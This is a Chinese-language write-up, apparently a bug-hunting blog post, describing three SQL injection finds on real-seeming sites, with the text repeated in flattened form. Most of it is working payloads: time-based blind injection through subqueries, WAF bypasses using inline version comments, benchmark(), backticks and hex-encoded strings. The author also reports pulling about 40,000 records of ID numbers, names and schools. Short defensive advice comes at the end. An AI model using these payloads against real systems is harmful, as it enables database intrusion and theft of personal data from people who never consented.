挖洞姿势:这个SQL注入有点东西
字数 1979 2025-09-01 11:26:11

SQL注入高级技巧与绕过方法详解

一、SQL注入基础回顾

SQL注入是通过将恶意SQL代码插入到应用的输入参数中,从而在后台数据库执行非预期操作的攻击方式。本文介绍了几种高级SQL注入技巧和WAF绕过方法。

二、第一处注入:日期格式注入与时间盲注

注入点分析

  • 注入点位于日期参数:date_format('2025-06-19 00:00:00','%Y-%m-%d %H:%M:%S')
  • 单引号测试:添加单引号导致报错,确认存在注入漏洞

初始尝试

  1. 尝试闭合:2025-06-19 00:00:00')#
  2. 尝试报错注入:2025-06-19 00:00:00') and extractvalue(1,concat(0x0a,(select user()),0x0a))#
  3. 完整参数闭合:2025-06-19 00:00:00','%Y-%m-%d %H:%M:%S') and extractvalue(1,concat(0x0a,(select user()),0x0a))#

问题发现

  • 网站返回的是框架自定义错误,而非数据库原生错误
  • 报错注入无法获取有效信息

时间盲注解决方案

  1. 常规时间盲注失败:if(ascii(substr(user(),1,1))>1,sleep(6),0)
  2. 原因:WHERE条件可能为假,导致后续语句不执行

子查询时间盲注

select count(1) from (
    select username from admin as t join news as u 
    where 1=2 and (
        select 0 from (
            select if(ascii(substr(user(),1,1))>1,sleep(6),1)
        )x
    )
)TOTAL#

关键点解析

  • 子查询优先执行,不受外层条件真假影响
  • if(ascii(substr(user(),1,1))>1,sleep(6),1) 是核心盲注逻辑
  • select 0 from (...)x 是子查询包装技巧

最终Payload

2025-06-19 00:00:00','%Y-%m-%d %H:%M:%S') and (select 0 from (select if(ascii(substr(user(),1,1))>1,sleep(6),1))x))TOTAL#

三、第二处注入:严格过滤下的绕过技巧

注入环境

  • 注入点:orderType参数
  • 过滤严格:常见函数和绕过方法基本被过滤

绕过技巧组合

  1. 权限绕过:直接修改返回包(false改为true)
  2. 函数绕过
    • 使用Y(point(56.7,53.34))作为恒真条件
    • 使用benchmark()替代sleep()进行时间延迟
  3. 空格绕过:使用/**/替代空格
  4. 内联注释绕过
    • /*!55555*/用于绕过特定函数检测
    • 超大版本号确保始终执行
  5. 字符串处理函数组合
    • right(left(user(),1),1)增加复杂度

完整Payload分析

orderType=1%20or%20Y(point(56.7,53.34))%20or%20(select/**/0/**/from/**/(select/**/if((ascii(right(left(user/*!55555*/(),1),1))!=1),(select/*!55555555555555555*/benchmark(511111111,1)),1))x)

关键组件

  1. Y(point(56.7,53.34)) - 地理函数作为恒真条件
  2. /*!55555*/ - 内联注释绕过user()检测
  3. benchmark(511111111,1) - 高强度延迟函数
  4. 子查询结构确保优先执行

四、第三处注入:身份证查询接口注入

注入环境

  • 注入点:tj参数(身份证查询接口)
  • 原始逻辑:sfzh='123123' and xm='12331'

初始测试

  1. 闭合构造:tj=sfzh=1#sfzh=1 and (注入语句)#
  2. 逻辑运算符绕过:
    • and/or被过滤
    • 使用||替代:|| 1=1#(502错误) vs || 1=2#(返回内容)

报错注入绕过

  1. 常见报错函数被过滤:extractvalue(), floor(), updatexml(), exp()
  2. 反引号绕过:
    • extractvalue(1, concat(0x0a, version()))#`
    • concat()也使用反引号绕过

权限查询绕过

  • user()被过滤 → 使用current_user替代

数据提取技巧

  1. 模糊查询:sfzh like '1%'
  2. 单引号绕过:使用16进制编码
    • '2%'0x3225
  3. 成功获取敏感数据:身份证、姓名、单位、学校等(约4w+条记录)

五、关键技巧总结

1. 时间盲注进阶

  • 子查询优先执行特性
  • 不受外层条件真假影响的结构
  • benchmark()sleep()的选择

2. 严格过滤绕过

  • 内联注释技巧(/*!55555*/)
  • 非常用函数利用(Y(point()))
  • 反引号分隔关键字
  • 16进制编码绕过引号过滤

3. 报错注入优化

  • 多种报错函数备选方案
  • 函数名分隔技巧
  • 错误信息提取方法

4. 数据提取策略

  • 模糊查询构造
  • 大规模数据分批获取
  • 敏感字段定位方法

六、防御建议

  1. 对所有输入参数进行严格类型检查和过滤
  2. 使用参数化查询(prepared statements)
  3. 最小权限原则,限制数据库账户权限
  4. 自定义错误信息,避免泄露数据库细节
  5. 多层面WAF防护,包括但不限于:
    • 常见注入模式识别
    • 异常函数调用检测
    • 注释和编码变体识别
  6. 定期安全审计和渗透测试

通过掌握这些高级注入技巧,安全人员可以更全面地评估系统安全性,同时开发人员也能更好地理解如何构建更安全的应用程序。

SQL注入高级技巧与绕过方法详解 一、SQL注入基础回顾 SQL注入是通过将恶意SQL代码插入到应用的输入参数中,从而在后台数据库执行非预期操作的攻击方式。本文介绍了几种高级SQL注入技巧和WAF绕过方法。 二、第一处注入:日期格式注入与时间盲注 注入点分析 注入点位于日期参数: date_format('2025-06-19 00:00:00','%Y-%m-%d %H:%M:%S') 单引号测试:添加单引号导致报错,确认存在注入漏洞 初始尝试 尝试闭合: 2025-06-19 00:00:00')# 尝试报错注入: 2025-06-19 00:00:00') and extractvalue(1,concat(0x0a,(select user()),0x0a))# 完整参数闭合: 2025-06-19 00:00:00','%Y-%m-%d %H:%M:%S') and extractvalue(1,concat(0x0a,(select user()),0x0a))# 问题发现 网站返回的是框架自定义错误,而非数据库原生错误 报错注入无法获取有效信息 时间盲注解决方案 常规时间盲注失败: if(ascii(substr(user(),1,1))>1,sleep(6),0) 原因:WHERE条件可能为假,导致后续语句不执行 子查询时间盲注 关键点解析 : 子查询优先执行,不受外层条件真假影响 if(ascii(substr(user(),1,1))>1,sleep(6),1) 是核心盲注逻辑 select 0 from (...)x 是子查询包装技巧 最终Payload 三、第二处注入:严格过滤下的绕过技巧 注入环境 注入点:orderType参数 过滤严格:常见函数和绕过方法基本被过滤 绕过技巧组合 权限绕过 :直接修改返回包(false改为true) 函数绕过 : 使用 Y(point(56.7,53.34)) 作为恒真条件 使用 benchmark() 替代 sleep() 进行时间延迟 空格绕过 :使用 /**/ 替代空格 内联注释绕过 : /*!55555*/ 用于绕过特定函数检测 超大版本号确保始终执行 字符串处理函数组合 : right(left(user(),1),1) 增加复杂度 完整Payload分析 关键组件 : Y(point(56.7,53.34)) - 地理函数作为恒真条件 /*!55555*/ - 内联注释绕过user()检测 benchmark(511111111,1) - 高强度延迟函数 子查询结构确保优先执行 四、第三处注入:身份证查询接口注入 注入环境 注入点:tj参数(身份证查询接口) 原始逻辑: sfzh='123123' and xm='12331' 初始测试 闭合构造: tj=sfzh=1# → sfzh=1 and (注入语句)# 逻辑运算符绕过: and / or 被过滤 使用 || 替代: || 1=1# (502错误) vs || 1=2# (返回内容) 报错注入绕过 常见报错函数被过滤: extractvalue() , floor() , updatexml() , exp() 反引号绕过: extractvalue(1, concat(0x0a, version ()))# ` concat() 也使用反引号绕过 权限查询绕过 user() 被过滤 → 使用 current_user 替代 数据提取技巧 模糊查询: sfzh like '1%' 单引号绕过:使用16进制编码 '2%' → 0x3225 成功获取敏感数据:身份证、姓名、单位、学校等(约4w+条记录) 五、关键技巧总结 1. 时间盲注进阶 子查询优先执行特性 不受外层条件真假影响的结构 benchmark() 与 sleep() 的选择 2. 严格过滤绕过 内联注释技巧( /*!55555*/ ) 非常用函数利用( Y(point()) ) 反引号分隔关键字 16进制编码绕过引号过滤 3. 报错注入优化 多种报错函数备选方案 函数名分隔技巧 错误信息提取方法 4. 数据提取策略 模糊查询构造 大规模数据分批获取 敏感字段定位方法 六、防御建议 对所有输入参数进行严格类型检查和过滤 使用参数化查询(prepared statements) 最小权限原则,限制数据库账户权限 自定义错误信息,避免泄露数据库细节 多层面WAF防护,包括但不限于: 常见注入模式识别 异常函数调用检测 注释和编码变体识别 定期安全审计和渗透测试 通过掌握这些高级注入技巧,安全人员可以更全面地评估系统安全性,同时开发人员也能更好地理解如何构建更安全的应用程序。